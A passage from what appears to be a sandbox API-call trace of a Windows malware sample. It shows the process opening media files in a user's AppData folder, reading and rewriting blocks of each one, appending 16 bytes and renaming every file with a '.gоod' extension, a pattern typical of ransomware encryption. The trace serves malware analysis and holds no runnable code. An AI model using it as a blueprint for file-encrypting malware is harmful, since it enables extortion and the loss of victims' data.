dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0192.083] GetFileType (hFile=0x818) returned 0x1 [0192.083] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0192.083] GetFileType (hFile=0x818) returned 0x1 [0192.083] WriteFile (in: hFile=0x818, lpBuffer=0x31fa958*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x204ee288, lpOverlapped=0x0 | out: lpBuffer=0x31fa958*, lpNumberOfBytesWritten=0x204ee288*=0x1010, lpOverlapped=0x0) returned 1 [0192.166] CloseHandle (hObject=0x818) returned 1 [0192.387] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\byRwSzDT.bmp", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\byRwSzDT.bmp", lpFilePart=0x0) returned 0x2c [0192.388] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\byRwSzDT.bmp.gоod", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\byRwSzDT.bmp.gоod", lpFilePart=0x0) returned 0x31 [0192.388] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee1c0) returned 1 [0192.414] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\byRwSzDT.bmp" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\byrwszdt.bmp"), fInfoLevelId=0x0, lpFileInformation=0x204ee2a0 | out: lpFileInformation=0x204ee2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe55af40, ftCreationTime.dwHighDateTime=0x1d4d272, ftLastAccessTime.dwLowDateTime=0x51cf8e10, ftLastAccessTime.dwHighDateTime=0x1d4d486, ftLastWriteTime.dwLowDateTime=0x6ec1b3f9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1657a)) returned 1 [0192.414] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee180) returned 1 [0192.415] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\byRwSzDT.bmp" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\byrwszdt.bmp"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\byRwSzDT.bmp.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\byrwszdt.bmp.gоod")) returned 1 [0192.415] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\d1CxCB-ylGVpacS.avi", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\d1CxCB-ylGVpacS.avi", lpFilePart=0x0) returned 0x33 [0192.415] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee200) returned 1 [0192.415] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\d1CxCB-ylGVpacS.avi" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\d1cxcb-ylgvpacs.avi"), fInfoLevelId=0x0, lpFileInformation=0x34a0560 | out: lpFileInformation=0x34a0560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92d9f5b0, ftCreationTime.dwHighDateTime=0x1d4d410, ftLastAccessTime.dwLowDateTime=0xb405a0a0, ftLastAccessTime.dwHighDateTime=0x1d4c609, ftLastWriteTime.dwLowDateTime=0xb405a0a0, ftLastWriteTime.dwHighDateTime=0x1d4c609, nFileSizeHigh=0x0, nFileSizeLow=0xb8ee)) returned 1 [0192.415] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee1c0) returned 1 [0192.416] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\d1CxCB-ylGVpacS.avi", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\d1CxCB-ylGVpacS.avi", lpFilePart=0x0) returned 0x33 [0192.416] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0192.416] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\d1CxCB-ylGVpacS.avi" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\d1cxcb-ylgvpacs.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0192.416] GetFileType (hFile=0x820) returned 0x1 [0192.416] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0192.416] GetFileType (hFile=0x820) returned 0x1 [0192.416] SetFilePointer (in: hFile=0x820, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0x1000 [0192.416] ReadFile (in: hFile=0x820, lpBuffer=0x34a0938, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee228, lpOverlapped=0x0 | out: lpBuffer=0x34a0938*, lpNumberOfBytesRead=0x204ee228*=0x1000, lpOverlapped=0x0) returned 1 [0192.417] CloseHandle (hObject=0x820) returned 1 [0192.417] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\d1CxCB-ylGVpacS.avi", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\d1CxCB-ylGVpacS.avi", lpFilePart=0x0) returned 0x33 [0192.417] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0192.417] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\d1CxCB-ylGVpacS.avi" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\d1cxcb-ylgvpacs.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0192.417] GetFileType (hFile=0x820) returned 0x1 [0192.417] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0192.417] GetFileType (hFile=0x820) returned 0x1 [0192.417] SetFilePointer (in: hFile=0x820, lDistanceToMove=0, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0xb8ee [0192.417] WriteFile (in: hFile=0x820, lpBuffer=0x34a1bb0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204ee148, lpOverlapped=0x0 | out: lpBuffer=0x34a1bb0*, lpNumberOfBytesWritten=0x204ee148*=0x10, lpOverlapped=0x0) returned 1 [0192.418] CloseHandle (hObject=0x820) returned 1 [0192.418] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\d1CxCB-ylGVpacS.avi", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\d1CxCB-ylGVpacS.avi", lpFilePart=0x0) returned 0x33 [0192.418] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0192.418] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\d1CxCB-ylGVpacS.avi" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\d1cxcb-ylgvpacs.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0192.418] GetFileType (hFile=0x820) returned 0x1 [0192.418] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0192.418] GetFileType (hFile=0x820) returned 0x1 [0192.418] ReadFile (in: hFile=0x820, lpBuffer=0x34a3e50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee1d8, lpOverlapped=0x0 | out: lpBuffer=0x34a3e50*, lpNumberOfBytesRead=0x204ee1d8*=0x1000, lpOverlapped=0x0) returned 1 [0192.507] CloseHandle (hObject=0x820) returned 1 [0192.507] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\d1CxCB-ylGVpacS.avi", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\d1CxCB-ylGVpacS.avi", lpFilePart=0x0) returned 0x33 [0192.508] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0192.508] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\d1CxCB-ylGVpacS.avi" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\d1cxcb-ylgvpacs.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0192.508] GetFileType (hFile=0x820) returned 0x1 [0192.508] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0192.508] GetFileType (hFile=0x820) returned 0x1 [0192.508] WriteFile (in: hFile=0x820, lpBuffer=0x34a2bc8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x204ee288, lpOverlapped=0x0 | out: lpBuffer=0x34a2bc8*, lpNumberOfBytesWritten=0x204ee288*=0x1010, lpOverlapped=0x0) returned 1 [0192.508] CloseHandle (hObject=0x820) returned 1 [0192.508] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\d1CxCB-ylGVpacS.avi", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\d1CxCB-ylGVpacS.avi", lpFilePart=0x0) returned 0x33 [0192.508] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\d1CxCB-ylGVpacS.avi.gоod", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\d1CxCB-ylGVpacS.avi.gоod", lpFilePart=0x0) returned 0x38 [0192.508] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee1c0) returned 1 [0192.508] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\d1CxCB-ylGVpacS.avi" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\d1cxcb-ylgvpacs.avi"), fInfoLevelId=0x0, lpFileInformation=0x204ee2a0 | out: lpFileInformation=0x204ee2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92d9f5b0, ftCreationTime.dwHighDateTime=0x1d4d410, ftLastAccessTime.dwLowDateTime=0xb405a0a0, ftLastAccessTime.dwHighDateTime=0x1d4c609, ftLastWriteTime.dwLowDateTime=0x6ef62779, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xb8fe)) returned 1 [0192.509] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee180) returned 1 [0192.509] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\d1CxCB-ylGVpacS.avi" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\d1cxcb-ylgvpacs.avi"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\d1CxCB-ylGVpacS.avi.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\d1cxcb-ylgvpacs.avi.gоod")) returned 1 [0192.510] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\dtO13.mp3", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\dtO13.mp3", lpFilePart=0x0) returned 0x29 [0192.510] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee200) returned 1 [0192.510] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\dtO13.mp3" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\dto13.mp3"), fInfoLevelId=0x0, lpFileInformation=0x35213e0 | out: lpFileInformation=0x35213e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1211f4b0, ftCreationTime.dwHighDateTime=0x1d4d32e, ftLastAccessTime.dwLowDateTime=0x7709a6a0, ftLastAccessTime.dwHighDateTime=0x1d4ce25, ftLastWriteTime.dwLowDateTime=0x7709a6a0, ftLastWriteTime.dwHighDateTime=0x1d4ce25, nFileSizeHigh=0x0, nFileSizeLow=0xeb48)) returned 1 [0192.510] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee1c0) returned 1 [0192.510] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\dtO13.mp3", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\dtO13.mp3", lpFilePart=0x0) returned 0x29 [0192.510] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0192.510] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\dtO13.mp3" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\dto13.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0192.510] GetFileType (hFile=0x820) returned 0x1 [0192.510] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0192.510] GetFileType (hFile=0x820) returned 0x1 [0192.510] SetFilePointer (in: hFile=0x820, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0x1000 [0192.511] ReadFile (in: hFile=0x820, lpBuffer=0x3521778, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee228, lpOverlapped=0x0 | out: lpBuffer=0x3521778*, lpNumberOfBytesRead=0x204ee228*=0x1000, lpOverlapped=0x0) returned 1 [0192.511] CloseHandle (hObject=0x820) returned 1 [0192.511] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\dtO13.mp3", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\dtO13.mp3", lpFilePart=0x0) returned 0x29 [0192.511] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0192.511] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\dtO13.mp3" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\dto13.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0192.512] GetFileType (hFile=0x820) returned 0x1 [0192.512] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0192.512] GetFileType (hFile=0x820) returned 0x1 [0192.512] SetFilePointer (in: hFile=0x820, lDistanceToMove=0, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0xeb48 [0192.512] WriteFile (in: hFile=0x820, lpBuffer=0x35229d0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204ee148, lpOverlapped=0x0 | out: lpBuffer=0x35229d0*, lpNumberOfBytesWritten=0x204ee148*=0x10, lpOverlapped=0x0) returned 1 [0192.512] CloseHandle (hObject=0x820) returned 1 [0192.512] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\dtO13.mp3", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\dtO13.mp3", lpFilePart=0x0) returned 0x29 [0192.512] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0192.512] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\dtO13.mp3" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\dto13.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0192.512] GetFileType (hFile=0x820) returned 0x1 [0192.512] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0192.512] GetFileType (hFile=0x820) returned 0x1 [0192.512] ReadFile (in: hFile=0x820, lpBuffer=0x3524c50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee1d8, lpOverlapped=0x0 | out: lpBuffer=0x3524c50*, lpNumberOfBytesRead=0x204ee1d8*=0x1000, lpOverlapped=0x0) returned 1 [0192.749] CloseHandle (hObject=0x820) returned 1 [0192.749] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\dtO13.mp3", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\dtO13.mp3", lpFilePart=0x0) returned 0x29 [0192.749] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0192.749] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\dtO13.mp3" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\dto13.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0192.749] GetFileType (hFile=0x820) returned 0x1 [0192.749] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0192.749] GetFileType (hFile=0x820) returned 0x1 [0192.749] WriteFile (in: hFile=0x820, lpBuffer=0x346e400*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x204ee288, lpOverlapped=0x0 | out: lpBuffer=0x346e400*, lpNumberOfBytesWritten=0x204ee288*=0x1010, lpOverlapped=0x0) returned 1 [0192.749] CloseHandle (hObject=0x820) returned 1 [0192.750] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\dtO13.mp3", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\dtO13.mp3", lpFilePart=0x0) returned 0x29 [0192.750] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\dtO13.mp3.gоod", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\dtO13.mp3.gоod", lpFilePart=0x0) returned 0x2e [0192.750] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee1c0) returned 1 [0192.750] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\dtO13.mp3" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\dto13.mp3"), fInfoLevelId=0x0, lpFileInformation=0x204ee2a0 | out: lpFileInformation=0x204ee2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1211f4b0, ftCreationTime.dwHighDateTime=0x1d4d32e, ftLastAccessTime.dwLowDateTime=0x7709a6a0, ftLastAccessTime.dwHighDateTime=0x1d4ce25, ftLastWriteTime.dwLowDateTime=0x6f19ea21, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xeb58)) returned 1 [0192.750] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee180) returned 1 [0192.750] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\dtO13.mp3" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\dto13.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\dtO13.mp3.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\dto13.mp3.gоod")) returned 1 [0192.752] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\fqhY8t.bmp", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\fqhY8t.bmp", lpFilePart=0x0) returned 0x2a [0192.752] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee200) returned 1 [0192.752] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\fqhY8t.bmp" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\fqhy8t.bmp"), fInfoLevelId=0x0, lpFileInformation=0x35a1b68 | out: lpFileInformation=0x35a1b68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdce655d0, ftCreationTime.dwHighDateTime=0x1d4d2ea, ftLastAccessTime.dwLowDateTime=0xa7d8ce40, ftLastAccessTime.dwHighDateTime=0x1d4d24f, ftLastWriteTime.dwLowDateTime=0xa7d8ce40, ftLastWriteTime.dwHighDateTime=0x1d4d24f, nFileSizeHigh=0x0, nFileSizeLow=0x669f)) returned 1 [0192.752] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee1c0) returned 1 [0192.752] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\fqhY8t.bmp", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\fqhY8t.bmp", lpFilePart=0x0) returned 0x2a [0192.752] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0192.752] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\fqhY8t.bmp" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\fqhy8t.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0192.753] GetFileType (hFile=0x820) returned 0x1 [0192.753] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0192.753] GetFileType (hFile=0x820) returned 0x1 [0192.753] SetFilePointer (in: hFile=0x820, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0x1000 [0192.753] ReadFile (in: hFile=0x820, lpBuffer=0x35a1f00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee228, lpOverlapped=0x0 | out: lpBuffer=0x35a1f00*, lpNumberOfBytesRead=0x204ee228*=0x1000, lpOverlapped=0x0) returned 1 [0192.754] CloseHandle (hObject=0x820) returned 1 [0192.754] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\fqhY8t.bmp", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\fqhY8t.bmp", lpFilePart=0x0) returned 0x2a [0192.754] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0192.754] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\fqhY8t.bmp" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\fqhy8t.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0192.754] GetFileType (hFile=0x820) returned 0x1 [0192.754] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0192.754] GetFileType (hFile=0x820) returned 0x1 [0192.754] SetFilePointer (in: hFile=0x820, lDistanceToMove=0, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0x669f [0192.754] WriteFile (in: hFile=0x820, lpBuffer=0x35a3158*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204ee148, lpOverlapped=0x0 | out: lpBuffer=0x35a3158*, lpNumberOfBytesWritten=0x204ee148*=0x10, lpOverlapped=0x0) returned 1 [0192.755] CloseHandle (hObject=0x820) returned 1 [0192.755] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\fqhY8t.bmp", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\fqhY8t.bmp", lpFilePart=0x0) returned 0x2a [0192.755] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0192.755] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\fqhY8t.bmp" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\fqhy8t.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0192.755] GetFileType (hFile=0x820) returned 0x1 [0192.755] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0192.755] GetFileType (hFile=0x820) returned 0x1 [0192.755] ReadFile (in: hFile=0x820, lpBuffer=0x35a53d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee1d8, lpOverlapped=0x0 | out: lpBuffer=0x35a53d8*, lpNumberOfBytesRead=0x204ee1d8*=0x1000, lpOverlapped=0x0) returned 1 [0193.117] CloseHandle (hObject=0x820) returned 1 [0193.117] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\fqhY8t.bmp", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\fqhY8t.bmp", lpFilePart=0x0) returned 0x2a [0193.117] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0193.117] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\fqhY8t.bmp" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\fqhy8t.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0193.117] GetFileType (hFile=0x820) returned 0x1 [0193.117] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0193.117] GetFileType (hFile=0x820) returned 0x1 [0193.117] WriteFile (in: hFile=0x820, lpBuffer=0x349d7a0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x204ee288, lpOverlapped=0x0 | out: lpBuffer=0x349d7a0*, lpNumberOfBytesWritten=0x204ee288*=0x1010, lpOverlapped=0x0) returned 1 [0193.197] CloseHandle (hObject=0x820) returned 1 [0193.197] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\fqhY8t.bmp", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\fqhY8t.bmp", lpFilePart=0x0) returned 0x2a [0193.197] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\fqhY8t.bmp.gоod", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\fqhY8t.bmp.gоod", lpFilePart=0x0) returned 0x2f [0193.197] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee1c0) returned 1 [0193.197] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\fqhY8t.bmp" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\fqhy8t.bmp"), fInfoLevelId=0x0, lpFileInformation=0x204ee2a0 | out: lpFileInformation=0x204ee2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdce655d0, ftCreationTime.dwHighDateTime=0x1d4d2ea, ftLastAccessTime.dwLowDateTime=0xa7d8ce40, ftLastAccessTime.dwHighDateTime=0x1d4d24f, ftLastWriteTime.dwLowDateTime=0x6f5f0da1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x66af)) returned 1 [0193.197] SetThreadErrorMode 